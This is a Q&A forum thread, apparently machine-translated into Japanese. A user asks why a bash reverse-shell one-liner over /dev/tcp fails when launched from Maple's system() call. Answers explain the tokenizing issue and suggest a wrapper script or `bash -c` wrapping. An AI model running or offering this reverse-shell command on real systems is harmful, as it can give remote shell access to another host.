2017-01-01 5 views
0

ありません私はメイプル(ちょうどそのようなのpythonからos.systemとして機能するように動作しますsystem機能)から次のコマンドを実行しています:bashの:&:そのようなファイルやディレクトリは

system("bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1") 

はしかし、それは失敗し、これがあります出力:

bash: no job control in this shell bash: &: No such file or directory 
Exit Value: 127 

奇妙なことは、ターミナルからそれを呼び出すとき、コマンドが素晴らしい作品ということです...

私はこの問題を解決できる方法の任意の提案ですか?

+0

あなたは何をしたいのか説明できますか?私にはxyの問題のように聞こえる。 –

+0

ちょうどエラーなしでコマンドを実行できるようにしたいと思います。私はそれを実行したい理由は、私のサーバーに対話型bashセッションを送信することです。 –

+0

あなたは、mapleと呼ばれるソフトウェアで正確なコマンドを入力します。これ以上の情報がなく、この不思議なメープルソフトウェアが何であるかわからないと、私たちはあなたを助けることができません。 –

答えて

0

「ジョブ制御なし」とは、対話型シェルを実行しているときに、バックグラウンドジョブをフォアグラウンドに持ち込むことができないことを意味します。

私は、2番目のエラーメッセージの文言に分析を集中させます。 bashが実行されていることがわかりました。私の推測では、Maple(bashの> WORD構成の意味を知らない)が空白に沿って文字列をトークン化し、execv("bash", "bash", "-i>0", "/dev/tcp/myownip/myport")のようなことをしていると思います。少なくともこれはエラーメッセージを説明します。

次のようにお試しいただけますか?このようなスタンドアロンの2行のbashスクリプトを作成します。それは実行可能ファイルに

#!/usr/bin/bash 
bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1 

設定をした後、

system("yourpath/yourscript") 
少なくともエラーメッセージ そのようなファイルやディレクトリ

とメープルから呼び出しますを削除する必要があります。

+0

いいです!この試みはうまくいきますが、理想的には、私は 'system'コマンドから必要なコマンドをすべて実行します。それを行う方法があると思いますか、スクリプトを作成して今のところそれを実行していますか?感謝の気持ちを共有してください:-)ありがとう! –

+0

問題は、文字列* 'bash -i>と/ dev/tcp/myownip/myport 0>&1 2>&1'がbashコマンドとして解釈されることを保証することです。 Mapleは何とかシステムコマンドがbashによって実行されることを '知っている')。インタラクティブなCシェルを使ってこのコマンドを実行すると、同じ問題が発生します。 C-Shellはあなたが使用しているリダイレクション演算子を知らないため、bash実行可能ファイルは**リダイレクトが開始された後にのみ起動されるため、どちらも動作しません。 – user1934428

+0

@ThatGuy:あなたが試みることのできることの1つは、他の1つのbash呼び出しですべてをラップすることです: 'system(" bash -c 'bash -i>&/ dev/tcp/myownip/myport 0>&1 2>&1' ") '。外側のものはbashが実行されていることを保証し、 "inner"コマンド全体が引数としてbashに渡されます。これでうまくいかなければ、Mapleが 'system'コマンドを実装する方法で解決策が見つかると思います。結局のところ、あなたは何か特別なことをしています。残念ながら、私はメープルを知らないし、これにコメントすることはできません。 – user1934428

関連する問題